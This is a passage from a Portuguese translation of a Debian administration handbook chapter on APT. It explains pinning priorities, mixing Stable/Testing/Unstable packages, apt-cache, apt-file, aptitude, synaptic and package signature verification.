Diferente do apt e aptitude, o apt-get não conhece o comando full-upgrade. Em seu lugar, você deve usar apt-get dist-upgrade (”atualização de distribuição”), o histórico e bem conhecido comando que o apt e aptitude também aceitam para conveniência dos usuários que ficaram acostumados com ele.

Os resultados destas operações são registrados em /var/log/apt/history.log e /var/log/apt/term.log, enquanto que o dpkg guarda seu log num arquivo chamado /var/log/dpkg.log.

6.2.4. Opções de configuração

Além dos elementos de configuração já mencionados, é possível configurar certos aspectos do APT adicionando diretivas num arquivo do diretório /etc/apt/apt.conf.d/ ou do próprio /etc/apt/apt.conf. Lembre, por exemplo, que é possível para o APT pedir ao dpkg para ignorar erros de conflito em arquivos ao especificar DPkg::options { "--force-overwrite"; }.

Se a rede só puder ser acessada através de um proxy, adicione uma linha como Acquire::http::proxy "http://seu-proxy:3128". Para um proxy FTP, escreva Acquire::ftp::proxy "ftp://seu-proxy". Para descobrir mais opções de configuração, leia a página de manual do apt.conf(5) (para detalhes sobre páginas de manual, veja Seção 7.1.1, “Páginas do Manual”).

DE VOLTA AO BÁSICO Diretórios terminados em .d

Diretórios com um sufixo .d estão sendo cada vez mais usados. Cada diretório representa um arquivo de configuração que é separado em múltiplos arquivos. Neste sentido, todos os arquivos em /etc/apt/apt.conf.d/ são instruções para a configuração do APT. APT inclui eles em ordem alfabética, assim os últimos podem altera um elemento de configuração definido em um dos primeiros.

Esta estrutura trás alguma flexibilidade ao administrador da máquina e aos mantenedores de pacotes. Na verdade, o administrador pode modificar facilmente a configuração do software ao adicionar um arquivo pronto para usar no diretório em questão sem ter que alterar um arquivo existente. mantenedores de pacotes usam a mesma abordagem quando precisam adaptar a configuração de outro software para garantir que ele coexista perfeitamente com o seu. A política Debian proíbe explicitamente modificar arquivos de configuração de outros pacotes — apenas usuários tem autorização para isto. Lembre que durante uma atualização de pacote, o usuário escolhe a versão do arquivo de configuração que deve ser mantida quando uma modificação é detectada. Qualquer modificação externa do arquivo irá ativar este requisito, que irá perturbar o administrador, que é a certeza de não ter modificado nada.

Sem um diretório .d é impossível para um pacote externo mudar as configurações de um programa, modificando seu arquivo de configuração diretamente. Ao invés disto, ele deve pedir também para o usuário fazer isto ele próprio e descrever no arquivo /usr/share/doc/pacote/README.Debian as operações a serem feitas, ou deve criar um desvio de arquivo para o arquivo de configuração usando o comando dpkg-divert e depois instalar seu próprio arquivo de configuração para o software em questão. Esse último é às vezes usado por pacotes de terceiros que tentam lidar com arquivos de configuração dos componentes do software que eles usam.

Dependendo da aplicação, o diretório .d é usado diretamente ou gerenciado por um script externo que vai concatenar todos os arquivos para criar um outro arquivo de configuração. É importante executar o script depois de qualquer mudança neste diretório, para que as modificações mais recentes sejam aplicadas. Da mesma forma, é importante não trabalhar diretamente no arquivo de configuração criado automaticamente, já que toda alteração será perdida na próxima execução do script. A escolha de um método (diretório .d usado diretamente ou arquivo gerado a partir do diretório) é normalmente ditada por restrições de implementação, mas em ambos os casos os ganhos em termos de flexibilidade de configuração superam as pequenas complicações que são trazidas. O servidor de email Exim 4 é um exemplo do método de arquivo gerado: ele pode ser configurado através de vários arquivos (/etc/exim4/conf.d/*) que são concatenados em /var/lib/exim4/config.autogenerated pelo comando update-exim4.conf.

6.2.5. Gerenciar prioridades de pacote

Um dos mais importantes aspectos na configuração do APT é o gerenciamento de prioridades associadas com cada fonte de pacote ("package source"). Por Exemplo, você pode querer extender uma distribuição com um ou dois pacotes mais novos da Testing, Unstable ou Experimental. É possível atribuir uma prioridade a cada pacote disponível (o mesmo pacote pode ter várias prioridades dependendo da sua versão ou da distribuição que o disponibiliza). Estas prioridades vão influenciar o comportamento do APT: para cada pacote, ele vai sempre selecionar a versão com a prioridade mais alta (exceto se esta versão é mais velha que a instalada e se sua prioridade for menor que 1000).

O APT define várias prioridades padrão. Cada versão de pacote instalada tem a prioridade 100. uma versão não instalada tem a prioridade 500 por padrão, mas pode pular para 990 se for parte da versão de destino (definida com a opção de linha de comando -t ou a diretiva de configuração APT::Default-Release).

Você pode modificar as prioridades adicionando entradas num arquivo em /etc/apt/preferences.d/ ou no /etc/apt/preferences com os nomes dos pacotes afetados, sua versão, sua origem e sua nova prioridade.

O APT nunca vai instalar uma versão mais antiga de um pacote (quer dizer, um pacote cujo número de versão é menor que o que está atualmente instalado) exceto se sua prioridade for maior que 1000 (ou se for explicitamente pedido pelo usuário, veja Seção 6.2.2, “Instalação e remoção”). O APT vai sempre instalar o pacote de prioridade mais alta que satisfizer esta restrição. Se dois pacotes têm a mesma prioridade, o APT instala o mais novo (o que tiver o maior número de versão). Se dois pacotes da mesma versão tiverem a mesma prioridade mas conteúdos diferentes, o APT instala a versão que não estiver instalada (esta regra foi criada para o caso onde uma atualização de pacote que não incrementa o número de revisão, que é normalmente necessário).

Em termos mais concretos, um pacote cuja prioridade seja

< 0

nunca será instalado,

1..99

só será instalado se nenhuma outra versão do pacote já estiver instalada,

100..499

só será instalado se não existir outra versão mais nova instalada ou disponível em outra distribuição,

500....989

só será instalado se não existir uma versão mais nova instalada ou disponível na distribuição alvo,

990..1000

será instalado exceto se a versão instalada for mais nova,

> 1000

sempre será instalado, mesmo se forçar o APT a baixar a versão para uma versão mais antiga.

Quando o APT verifica o /etc/apt/preferences e o /etc/apt/preferences.d/, ele leva em conta primeiro as entradas mais específicas (geralmente aquelas especificando o pacote em consideração), para depois ir para as mais genéricas (incluindo, por exemplo, todos os pacotes de uma distribuição). Se várias entradas genéricas existirem, o primeiro "match" é usado. O critério de seleção disponível inclui o nome do pacote e a fonte que o fornece. Cada fonte de pacote é identificada pela informação contida em um arquivo Release que o APT baixa junto com os arquivos Packages. Ele especifica a origem (normalmente "Debian" para os pacotes de espelhos oficiais, mas pode ser também um nome de pessoa ou organização para repositórios de terceiros). Ele também dá o nome da distribuição (normalmente Stable, Testing, Unstable ou Experimental para as distribuições padrão fornecidas pelo Debian) junto com sua versão (por exemplo, 11 para o Debian Bullseye). Vamos dar uma olhada na sintaxe em alguns estudos de caso reais deste mecanismo.

CASO ESPECÍFICO Prioridade do experimental

Se você listou a Experimental em seu arquivo sources.list, os pacotes correspondentes quase nunca vão ser instalados, por que a prioridade padrão do APT é 1. Este é, claro, um caso particular, projetado para evitar que usuários instalem pacotes da Experimental por engano. Os pacotes podem apenas ser instalados digitando aptitude install pacote/experimental — usuários digitando este comando podem apenas ser avisados dos riscos que estão assumindo. Ainda é possível (embora não recomendado) tratar pacotes da Experimental como aqueles de outras distribuições dando a eles uma prioridade de 500. Isto é feito com uma entrada específica no /etc/apt/preferences:

Package: * Pin: release a=experimental Pin-Priority: 500

Vamos supor que você só quer usar os pacotes da versão estável do Debian. As previstas em outras versões não devem ser instaladas exceto se explicitamente solicitado. Você poderia escrever as seguintes entradas do arquivo /etc/apt/preferences :

Package: * Pin: release a=stable Pin-Priority: 900 Package: * Pin: release o=Debian Pin-Priority: -10

a=stable define o nome da distribuição selecionada. o=Debian limita o escopo para pacotes cuja origem seja "Debian".

Suponha agora que você tenha um servidor com vários programas locais que dependem da versão 5.28 do Perl e que você queira garantir que atualizações não vão instalar outra versão dele. Você pode usar esta entrada:

Package: perl Pin: version 5.28* Pin-Priority: 1001

Para entender melhor o mecanismo das prioridades e distribuição ou propriedades de repositórios para "pin", não hesite em executar apt-cache policy para exibir as prioridades padrão associadas a cada fonte de pacote. Você também pode usar apt-cache policy pacote para exibir as prioridades padrão para cada versão disponível e a fonte de um pacote como explicado em Seção 6.3.1, “O Comando apt-cache policy”.

A documentação de referência para os arquivos /etc/apt/preferences e /etc/apt/preferences.d/ está disponível na página de manual apt_preferences(5), que você lê com man apt_preferences.

DICA Comentários no /etc/apt/preferences

Não existe uma sintaxe oficial para colocar comentários no arquivo /etc/apt/preferences, mas algumas descrições textuais pode ser fornecidas colocando um ou mais campos "Explanation" no começo de cada entrada:

Explanation: O pacote xserver-xorg-video-intel fornecido Explanation: na experimental pode ser usado com segurança Package: xserver-xorg-video-intel Pin: release a=experimental Pin-Priority: 500

6.2.6. Trabalhando com Distribuições Diversas

Sendo o apt uma ferramenta assim tão maravilhosa, é tentador pegar pacotes de outras distribuições. Por exemplo, depois de instalar um sistema Stable, você pode querer tentar um pacote de software disponível na Testing ou Unstable sem divergir muito do estado inicial do sistema.

Mesmo se você ocasionalmente encontrar problemas enquanto estiver misturando pacotes de distribuições diferentes, o apt gerencia tal coexistência muito bem e limita os riscos de forma bastante efetiva. A melhor maneira de proceder é listando todas as distribuições usadas em /etc/apt/sources.list (algumas pessoas sempre botam as três distribuições, mas lembre-se que Unstable é reservada para usuários experientes) e definindo a sua distribuição de referência com o parâmetro APT::Default-Release (Veja Seção 6.2.3, “Atualização do sistema”).

Suponha que Stable é sua distribuição de referência mas que Testing e Unstable também estão listadas em seu arquivo sources.list. Neste caso, você pode usar apt- install pacote/testing para instalar um pacote da Testing. Se a instalação falha devido a algumas dependências não-satisfeitas, deixe ela resolver estas dependências na Testing adicionando o parâmetro -t testing. O mesmo obviamente se aplica à Unstable.

In this situation, upgrades (upgrade and full-upgrade) are done within Stable except for packages already upgraded to another distribution: those will follow updates available in the other distributions. We will explain this behavior with the help of the default priorities set by APT below. Do not hesitate to use apt-cache policy (Seção 6.3.1, “O Comando apt-cache policy”) to verify the given priorities.

Tudo se baseia no fato de que o APT apenas considera pacotes com versão igual ou superior à instalada (assumindo que o /etc/apt/preferences não foi usado para forçar prioridades maiores que 1000 para alguns pacotes).

Suponha que você instalou a versão 1 de um primeiro pacote da Stable e que versão 2 e 3 estão respectivamente disponíveis na Testing e na Unstable. A versão instalada tem uma prioridade de 100 mas a versão disponível na Stable (exatamente a mesma) tem uma prioridade de 990 (porque ela é parte da "target release"). Pacotes na Testing e na Unstable tem a prioridade de 500 (a prioridade padrão de uma versão não instalada). O ganhador é então a versão 1 com uma prioridade de 990. O pacote “fica na Stable”.

Tomemos o exemplo de outro pacote cuja versão 2 foi instalada da Testing. A versão 1 está disponível na Stable e a versão 3 na Unstable. A versão 1 (de prioridade 990 — logo, menor que 1000) é descartada pois é menor que a versão instalada. Sobram apenas as versões 2 e 3, ambas de prioridade 500. Perante esta alternativa, o APT seleciona a versão mais nova, aquela da Unstable. Se você não quer que um pacote instalado da Testing migre para a versão da Unstable, você terá que atribuir uma prioridade menor que 500 (490 por exemplo) para pacotes vindos da Unstable. Você pode modificar o /etc/apt/preferences para obter este efeito:

Package: * Pin: release a=unstable Pin-Priority: 490

6.2.7. Rastreando Pacotes Instalados Automaticamente

Uma das funcionalidades essenciais do apt é o rastreamento de pacotes instalados somente através de dependências. Estes pacotes são chamados de "automático", e muitas vezes incluem bibliotecas.

Com esta informação, quando os pacotes são removidos, os gerenciadores de pacotes podem calcular uma lista de pacotes automáticos que não são mais necessários (porque não há nenhum pacote "instalado manualmente" dependendo deles). apt-get autoremove ou apt autoremove vão se livrar desses pacotes. O aptitude não tem esse comando porque ele remove automaticamente assim que são identificados.Em todos os casos, as ferramentas exibem uma clara mensagem listando os pacotes afetados.

É um bom hábito marcar como automático qualquer pacote que você não precisa diretamente de modo que eles são automaticamente removidos quando eles não são mais necessários.apt-mark auto pacote marcará o pacote dado como automático enquanto apt-mark manual pacote faz o oposto. aptitude markauto e aptitude unmarkauto trabalham da mesma forma, embora eles ofereçam mais recursos para a marcação de muitos pacotes de uma vez (veja Seção 6.5.1, “aptitude”). A interface interativa baseada em console do aptitude também torna mais fácil para analisar a "opção automático" em muitos pacotes.

Alguém pode querer saber porque um pacote foi automaticamente instalado no sistema. Para obter esta informação na linha de comando, você pode usar aptitude why pacote (apt e apt-get não tem recurso semelhante):

$ aptitude why python3-debian i aptitude Suggests apt-xapian-index p apt-xapian-index Depends python3-debian (>= 0.1.14)

ALTERNATIVA deborphan e debfoster

Nos dias em que apt, apt-get e aptitude não foram capazes de rastrear pacotes automáticos, havia dois utilitários que produziam listas de pacotes desnecessários: deborphan e debfoster. Ambos ainda podem ser úteis.

deborphan varre as seções libs e oldlibs por padrão (na ausência de instruções complementares), procurando por pacotes atualmente instalados e que nenhum outro pacote dependa. A lista resultante pode servir como uma base para remover pacotes desnecessários.

debfoster tem uma abordagem mais elaborada, parecida com a de um APT: Ele mantém uma lista de pacotes que foram explicitamente instalados, e lembra que pacotes são realmente requeridos entre cada invocação. Se novos pacotes aparecem no sistema e se o debfoster não reconhece eles como pacotes requeridos, eles serão mostrados na tela junto com uma lista de suas dependências. O programa então oferece uma escolha: remover o pacote (possivelmente junto com tudo que depende dele), marcá-lo como explicitamente requerido, ou ignorá-lo temporariamente.

6.2.8. padrões do APT

Padrões permitem que você especifique buscas complexas para selecionar os pacotes que você quer instalar ou mostrar. Eles foram implementados primeiro no aptitude (veja em Seção 6.5, “Interfaces: aptitude, synaptic”), mas agora o APT também pode fazer uso deles.

Por exemplo, podemos usar apt list ?automatic para listar todos os pacotes automaticamente instalados. Para encontrar pacotes automaticamente instalados que não mais dependem de pacotes instalados manualmente, é possível utilizar ?garbage.

Padrões lógicos podem ser combinados com outros pacotes para formar expressões mais complexas. Por exemplo, podemos usar um padrão como ?and(PADRÃO, PADRÃO). Veja em apt-patterns(7) e glob(7) para todos os padrões que você pode usar e as expressões complexas que você pode criar com eles.

6.3. O Comando apt-cache

O comando apt-cache pode apresentar grande parte das informações armazenadas no banco de dados interno do APT. Esta informação é uma espécie de cache, pois é recolhida de diferentes fontes, listadas no arquivo sources.list. Isso acontece durante a operação do apt update.

VOCABULÁRIO Cache

O cache é um sistema de armazenamento temporário usado para acelerar o acesso frequente de dados quando o método de acesso habitual é caro (em termos de performance). Este conceito pode ser aplicado em diversas situações e em diferentes escalas, desde o núcleo de microprocessadores até sistemas de armazenamento de alta qualidade.

No caso do APT, os arquivos Packages de referência são localizados nos espelhos Debian. Ou seja, será bastante ineficaz passar pela rede a cada busca que quisermos fazer no banco de dados de pacotes disponíveis. É por isto que o APT armazena uma cópia destes arquivos (em /var/lib/apt/lists/) e buscas são feitas neles. Similarmente, /var/cache/apt/archives/ contém um cache de pacotes já baixados (see sidebar APROFUNDANDO O cache dos arquivos .deb) para evitar baixá-los de novo se você precisar deles depois de uma remoção.

Por outro lado, é obrigatório rodar apt update regularmente para atualizar o cache. Senão o resultado da sua busca por pacotes sempre vai perder as ultimas atualizações distribuídas pelos espelhos Debian.

O comando apt-cache pode buscar pacotes baseado em palavras-chave com apt-cache search palavra-chave. Também pode mostrar os cabeçalhos das versões disponíveis dos pacotes com apt-cache show pacote. Este comando fornece a descrição do pacote, suas dependências, o nome de seu mantenedor, etc. Observe que apt search, apt show, aptitude search, e aptitude show funcionam do mesmo jeito.

ALTERNATIVE axi-cache

apt-cache search é uma ferramenta muito rudimentar, implementando, basicamente grep em descrições de pacotes. Que muitas vezes retorna resultados demais ou nenhum quando você incluir muitas palavras-chave.

axi-cache search expressão, por outro lado, oferece melhores resultados, ordenados por relevância. Ele usa o Motor de busca Xapian que faz parte do pacote apt-xapian-index que indexa toda a informação dos pacote (e mais, como o arquivo .desktop de todos os pacotes Debian). Ele entende as etiquetas (tags) (veja a barra lateral INDO ALÉM O campo Tag) e retorna os resultados em questão de milissegundos.

$ pacote de pesquisa axi-cache use::searching pacote de pesquisa axi-cache use::searching 13 resultados encontrados. Resultados 1-13: 100% packagesearch - GUI para pesquisar pacotes e visualizar informações do pacote 87% debitags - ferramentas de suporte de tags de pacote Debian 86% whohas - consultar arquivos de pacotes de várias distribuições 84% de recordação - Pacote de pesquisa de texto completo pessoal 82% apt-forktracer - utilitário para rastrear versões de pacotes não oficiais [..] 66% apt - gerenciador de pacotes de linha de comando Mais termos: debian dpkg pesquisar dívidas whohas forktracer dctrl Mais tags: função::administrador do programa::pacote de gerenciamento de pacotes::debian funciona com::software:interface do pacote::escopo da linha de comando::protocolo utilitário::http

Algumas funcionalidades são raramente usadas. Por exemplo, apt-cache dumpavail que mostra os cabeçalhos de todas as versões disponíveis de todos os pacotes. apt-cache pkgnames mostra a lista de todos os pacotes que aparecem pelo menos uma vez no cache.

Uma das funcionalidades que pode ser útil mais frequentemente é o apt-cache policy, descrito na seção seguinte.

6.3.1. O Comando apt-cache policy

O comando apt-cache policy mostra as prioridades 'pinning' e propriedades de distribuição de cada fonte de pacotes como explicado em Seção 6.2.5, “Gerenciar prioridades de pacote”. Também pode mostrar as prioridades de 'pinning' para todas as versões disponíveis e fontes de um pacote. Para o sources.list de exemplo usado em Exemplo 6.2, “arquivo /etc/apt/sources.list para usuários do Debian Estável” e APT::Default-Release configurado para "bullseye", a saída vai parecer com isto:

$ apt-cache policy Package files: 100 /var/lib/dpkg/status release a=now 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/non-free amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/contrib amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/main amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64 origin deb.debian.org 500 http://security.debian.org bullseye-security/main amd64 Packages release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64 origin security.debian.org Pinned packages:

apt-cache policy também pode mostrar as prioridades de pinning para todas as versões e fontes disponíveis de um dado pacote.

$ apt-cache policy limnoria limnoria: Instalado: 2021.06.15-1 Candidato: 2021.06.15-1 Tabela de versão: 2021.07.21-1~bpo11+1 100 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

Embora exista uma nova versão do limnoria no repositório bullseye-backports, o APT não vai instalar ele automaticamente baseado na prioridade. Pode ser necessário usar apt install limnoria/bullseye-backports ou adicionar uma prioridade de 'pinning' mais alta para o /etc/apt/preferences.d/limnoria.pref:

Package: limnoria Pin: release o=Debian Backports, a=bullseye-backports Pin-Priority: 1001

$ apt-cache policy limnoria limnoria: Instalado: 2021.06.15-1 Candidato: 2021.07.21-1~bpo11+1 Tabela de versão: 2021.07.21-1~bpo11+1 1001 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

6.4. O Comando apt-file

Algumas vezes nós falamos de um arquivo ou comando e você pode se perguntar, em qual pacote ele vai estar. Felizmente os repositórios Debian não só contém informação sobre os pacotes binários mas também sobre todos os arquivos publicados com eles. Esta informação é armazenada em arquivos de nome Contents-arch.gz e Contents-udeb-arch.gz. Esta informação não é baixada automaticamente pelo APT. Ao invés disto ele precisa do comando apt-file update (do pacote de mesmo nome) para recuperar os conteúdos de todos os pacotes fonte mencionados em /etc/apt/sources.list. Por padrão ele baixa os arquivos Contents*.pdiff conforme descrito na barra lateral DICA Atualização incremental para reduzir a quantidade de dados necessária para ser baixada. Para atualizar o banco de dados semanalmente, a seguinte entrada deve ser colocada no /etc/crontab se conveniente.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

Depois do banco de dados ser atualizado, o comando apt-file search padrão vai listar todos os pacotes que contém um arquivo ou caminho contendo o padrão.

$ apt-file search bin/axi-cache apt-xapian-index: /usr/bin/axi-cache

O comando apt-file list pacote vai listar, ao invés disto, todos os arquivos enviados com o pacote.

DICA Listar o conteúdo de um pacote e encontrar o pacote de um arquivo

Similar ao apt-file list o comando dpkg -L pacote lista todos os arquivos, mas apenas para um pacote instalado. Para encontrar o pacote ao qual um arquivo local pertence, use dpkg -S arquivo (veja Seção 5.4.3, “Consultando o banco de dados do dpkg e inspecionando os arquivos .deb”). Para listar todos os arquivos locais que não pertencem a nenhum pacote instalado, você pode querer dar uma olhada nos pacotes cruft ou cruft-ng.

6.5. Interfaces: aptitude, synaptic

APT é um programa C++ cujo código reside principalmente na biblioteca compartilhada libapt-pkg. Usar uma biblioteca compartilhada facilita a criação de interfaces de usuário (frontends), já que o código contido na biblioteca pode facilmente ser reutilizado. Historicamente, apt-get foi projetado apenas como uma interface de teste para libapt-pkg, mas seu sucesso tende a obscurecer esse fato.

6.5.1. aptitude

aptitude é um programa interativo que pode ser usado em modo semi-gráfico no console. Você pode navegar a lista de pacotes disponíveis e instalados, buscar em todas as informações disponíveis e selecionar pacotes para instalar ou remover. O programa é projetado especificamente para ser usado pelos administradores, de forma que seu comportamento padrão seja muito mais inteligente que o do apt-get e sua interface muito mais fácil de entender.

Figura 6.1. O gerenciador de pacotes aptitude

Quando o aptitude começa, ele mostra uma lista de pacotes ordenada por estado (instalado, não-instalado ou instalado mas não disponível nos espelhos — outras seções mostram tarefas, pacotes virtuais e novos pacotes que apareceram recentemente nos espelhos). Para facilitar a navegação temática, outras visões estão disponíveis. Em todos os casos, o aptitude mostra uma lista combinando categorias e pacotes na tela. Categorias são organizadas através de uma estrutura de árvore, cujos ramos podem respectivamente ser expandidos ou fechados com as teclas Enter, [ ou ]. + marca um pacote para instalação, - marca para remoção e _ para expurgo (observe que estas teclas também podem ser usadas para categorias, e neste caso as ações correspondentes serão para todos os pacotes da categoria). u atualiza (update) as listas de pacotes disponíveis e Shift+u prepara uma atualização de sistema global. g alterna para uma visão resumida das mudanças necessárias (e digitar g de novo vai realizar as mudanças), e q (quit) sai da visão atual. Se você já está na visão inicial, isto fecha o aptitude.

DOCUMENTAÇÃO aptitude

Esta seção não cobre os detalhes mais sutis do uso do aptitude. Ele, ao invés disto ela se concentra em dar-lhe um kit de sobrevivência para usá-lo. Mas ele é bastante bem documentado e aconselhamos que você use seu manual completo disponível no pacote aptitude-doc-en (/usr/share/doc/aptitude/html/en/index.html) ou em https://www.debian.org/doc/manuals/aptitude/.

Para buscar por um pacote, você pode digitar / seguido pelo padrão de busca. Este padrão pode coincidir com o nome do pacote, mas também pode ser aplicado à descrição (se precedido por ~d), à seção (com ~s) ou a outras características detalhadas na documentação. Os mesmos padrões podem filtrar a lista de pacotes exibidos: digite a tecla l (de limit) e digite o padrão.

Gerenciar o “automatic flag” de pacotes Debian (veja Seção 6.2.7, “Rastreando Pacotes Instalados Automaticamente”) é fácil com aptitude. É possível navegar na lista de pacotes instalados e marcar como automáticos com Shift+m ou remover a marca com a tecla m. “Pacotes automáticos” são exibidos com um "A" na lista de pacotes. Esse recurso também oferece uma maneira simples de visualizar os pacotes em uso em uma máquina, sem todas as bibliotecas e dependências que realmente não te importam. O padrão relacionado que pode ser usado com l (para ativar o modo filtro) é ~i!~M. Ele especifica que você só quer ver os pacotes instalados (~i) não marcados como automáticos (!~M).

FERRAMENTA Usando aptitude na interface de linha de comando

A maioria das funcionalidade do aptitude estão disponíveis tanto na interface interativa quanto na linha de comando. A interface de linha de comando é bem familiar para quem já usa os comandos apt-get e apt-cache.

As funcionalidade avançadas do aptitude também estão disponíveis na linha de comando. Você pode usar os mesmos padrões de busca de pacotes da versão interativa. Por exemplo, se você quiser limpar a lista de pacotes "instalada manualmente", e se voc?e sabe que nenhum dos programas instalados localmente requer bibliotecas particulares ou módulos Perl, você pode marcar os pacotes correspondentes como automáticos com um único comando:

# aptitude markauto '~slibs|~sperl'

Aqui, você pode claramente ver o poder do sistema de padrões de busca do aptitude, que permite a seleção instantânea de todos os pacotes nas seções libs e perl.

Cuidado, se alguns pacotes são marcados como automáticos e se não há outros pacotes dependendo deles, eles serão removidos imediatamente (depois de uma confirmação).

6.5.1.1. Gerenciando Recomendações, Sugestões e Tarefas

Outra funcionalidade interessante do aptitude é o fato que ele respeita recomendações entre pacotes mesmo dando aos usuários a escolha de, caso a caso, não instalá-los. Por exemplo, o pacote gnome recomenda o transmission-gtk (entre outros). Quando você seleciona o primeiro para instalação, o último também vai ser selecionado (e marcado como automático se ainda não estiver instalado no sistema). Digitando g torna isto óbvio: o transmission-gtk aparece na tela de resumo das ações pendentes na lista de pacotes instalados automaticamente para satisfazer dependências. Entretanto, você pode decidir não instalar ele desmarcando-o antes de confirmar a operação.

Observe que esta funcionalidade de rastreio de recomendação não se aplica a atualizações (upgrades). Por exemplo, se uma nova versão do gnome recomenda um pacote que não recomendava antes, o pacote não vai ser marcado para instalação. Entretanto, ele vai ser listado na tela de atualização para que o administrador possa selecioná-lo para instalação, se desejar.

Sugestões entre pacotes são também levadas em consideração, mas adaptadas a seu status específico. Por exemplo, já que o gnome sugere empathy, este último será exibido na tela de resumo das ações pendentes (na seção de pacotes sugeridos por outros pacotes). Desta forma, ficará visível e o administrador poderá decidir se deve aceitar a sugestão ou não. Já que isto é apenas uma sugestão e não uma dependência ou uma recomendação, o pacote não será selecionado automaticamente — sua seleção requer uma intervenção manual do usuário (portanto o pacote não será marcado como automático).

No mesmo espírito, lembre que o aptitude faz um uso inteligente do conceito de tarefa. Como tarefas são mostradas como categorias nas telas de listas de pacote, você pode tanto selecionar uma tarefa completa para instalar ou remover, ou navegar na lista de pacotes inclusa na tarefa para selecionar um subconjunto menor.

6.5.1.2. Algoritmos de Solução Melhores

Para concluir esta seção, note que o aptitude tem algoritmos mais elaborados comparado com o apt-get quando se trata de resolver situações difíceis. Quando um conjunto de ações é requerido e quando estas ações combinadas levam a um sistema incoerente, o aptitude calcula vários cenários possíveis e apresenta eles do mais para o menos relevante. Entretanto, estes algoritmos não são à prova de falhas. Afortunadamente existe sempre a possibilidade de fazer uma seleção manual das ações a realizar. Quando as ações atualmente selecionadas levam a uma contradição, a parte de cima da tela indica um número de pacotes "quebrados" (e você pode diretamente navegar para estes pacotes pressionando b). É então possível construir manualmente uma solução para os problemas encontrados. Em particular, você pode obter acesso a diferentes versões disponíveis simplesmente selecionando o pacote com Enter. Se a seleção de uma destas versões resolve o problema, não hesite em usá-la. Quando o número de pacotes quebrados baixa a zero, você pode seguramente ir para a tela de resumo das ações pendentes para uma última verificação antes de aplicar as ações.

NOTA logs do aptitude

Assim como o dpkg, aptitude mantém um registro das ações executadas no seu arquivo de log (/var/log/aptitude). Entretanto, como os dois comandos trabalham em níveis muito diferentes, você não achará a mesma informação nos seus respectivos arquivos de log. Enquanto o dpkg loga todas as operações executadas em pacotes individuais, passo a passo, o aptitude dá uma visão geral das operações de alto nível, como uma atualização de sistema.

Cuidado, este arquivo de log contém apenas um resumo das operações realizadas pelo aptitude. Se outras interfaces (frontends) (ou o próprio dpkg) forem usadas ocasionalmente, então o log do aptitude vai conter apenas uma visão parcial das operações, de forma que você não pode se basear simplesmente nele para ter uma história totalmente confiável do seu sistema.

6.5.2. synaptic

synaptic é um gerenciador de pacotes gráfico para o Debian que possui uma interface gráfica limpa e eficiente baseada em GTK+/GNOME. Seus muitos filtros prontos para uso permitem o acesso rápido a novos pacotes disponibilizados, pacotes instalados, pacotes atualizáveis, pacotes obsoletos e muito mais. Se você navegar através destas listas, você poderá selecionar as operações a serem feitas nos pacotes (instalar, atualizar, remover, expurgar); estas operações não são realizadas imediatamente, mas postas em uma lista de tarefas. Um único clique de um botão então valida as operações, que são então realizadas todas juntas.

Figura 6.2. gerenciador de pacotes synaptic

6.6. Verificando Autenticidade do Pacote

Segurança é muito importante para os administradores da Falcot Corp. E desta forma, eles precisam ter certeza que estão instalando pacotes que vem do Debian, sem interceptações no caminho. Um cracker de computador pode tentar adicionar código malicioso num pacote que de outra forma seria legítimo. Tal pacote, se instalado, poderia fazer qualquer coisa que o cracker o tivesse projetado para fazer, incluindo por exemplo revelar senhas e informações confidenciais. Para evitar este risco, o Debian fornece um selo de qualidade a prova de interceptações para garantir - no momento da instalação - que um pacote realmente vem de um mantenedor oficial e não foi modificado por um terceiro.

O selo funciona com uma cadeia de hashes criptográficos e uma assinatura e é explicado em detalhes em apt-secure(8). Começando no Debian 10 Buster, o arquivo assinado é o arquivo InRelease, fornecido pelos espelhos Debian. Existe também um arquivo legado chamado Release. Ambos contém uma lista de arquivos Packages (incluindo suas formas compactadas, Packages.gz e Packages.xz, e as versões incrementais), junto com suas hashes SHA256 que garantem que os arquivos não foram interceptados. Estes arquivos Packages contém uma lista de pacotes Debian disponíveis no espelho, junto com seus hashes, que garantem, por sua vez, que os conteúdos dos próprios pacotes também não foram alterados. A diferença entre o InRelease e o Release é que o primeiro é criptograficamente assinado em linha, enquanto que o último fornece assinatura desanexada na forma do arquivo Release.gpg.

NOTA O futuro do Release e do Release.gpg

Depois do lançamento do Debian 10 Buster foi anunciada a intenção de remover o suporte no APT para os arquivos desatualizados Release e Release.gpg , usados desde a versão 0.6, que introduziram suporte para uma autenticação de arquivamentos.

O APT precisa de um conjunto de chaves públicas GnuPG confiáveis que são usadas para verificar assinaturas no arquivo InRelease e no Release.gpg disponíveis nos espelhos. Ele obtém eles de arquivos no /etc/apt/trusted.gpg.d/ e do chaveiro /etc/apt/trusted.gpg (gerenciado pelo comando apt-key). As chaves oficiais do Debian são fornecidas e mantidas atualizadas pelo pacote debian-archive-keyring que coloca elas em /etc/apt/trusted.gpg.d):

# ls /etc/apt/trusted.gpg.d/ debian-archive-bullseye-automatic.gpg debian-archive-bullseye-security-automatic.gpg debian-archive-bullseye-stable.gpg debian-archive-buster-automatic.gpg debian-archive-buster-security-automatic.gpg debian-archive-buster-stable.gpg debian-archive-stretch-automatic.gpg debian-archive-stretch-security-automatic.gpg debian-archive-stretch-stable.gpg

NA PRÁTICA Adicionando chaves confiáveis

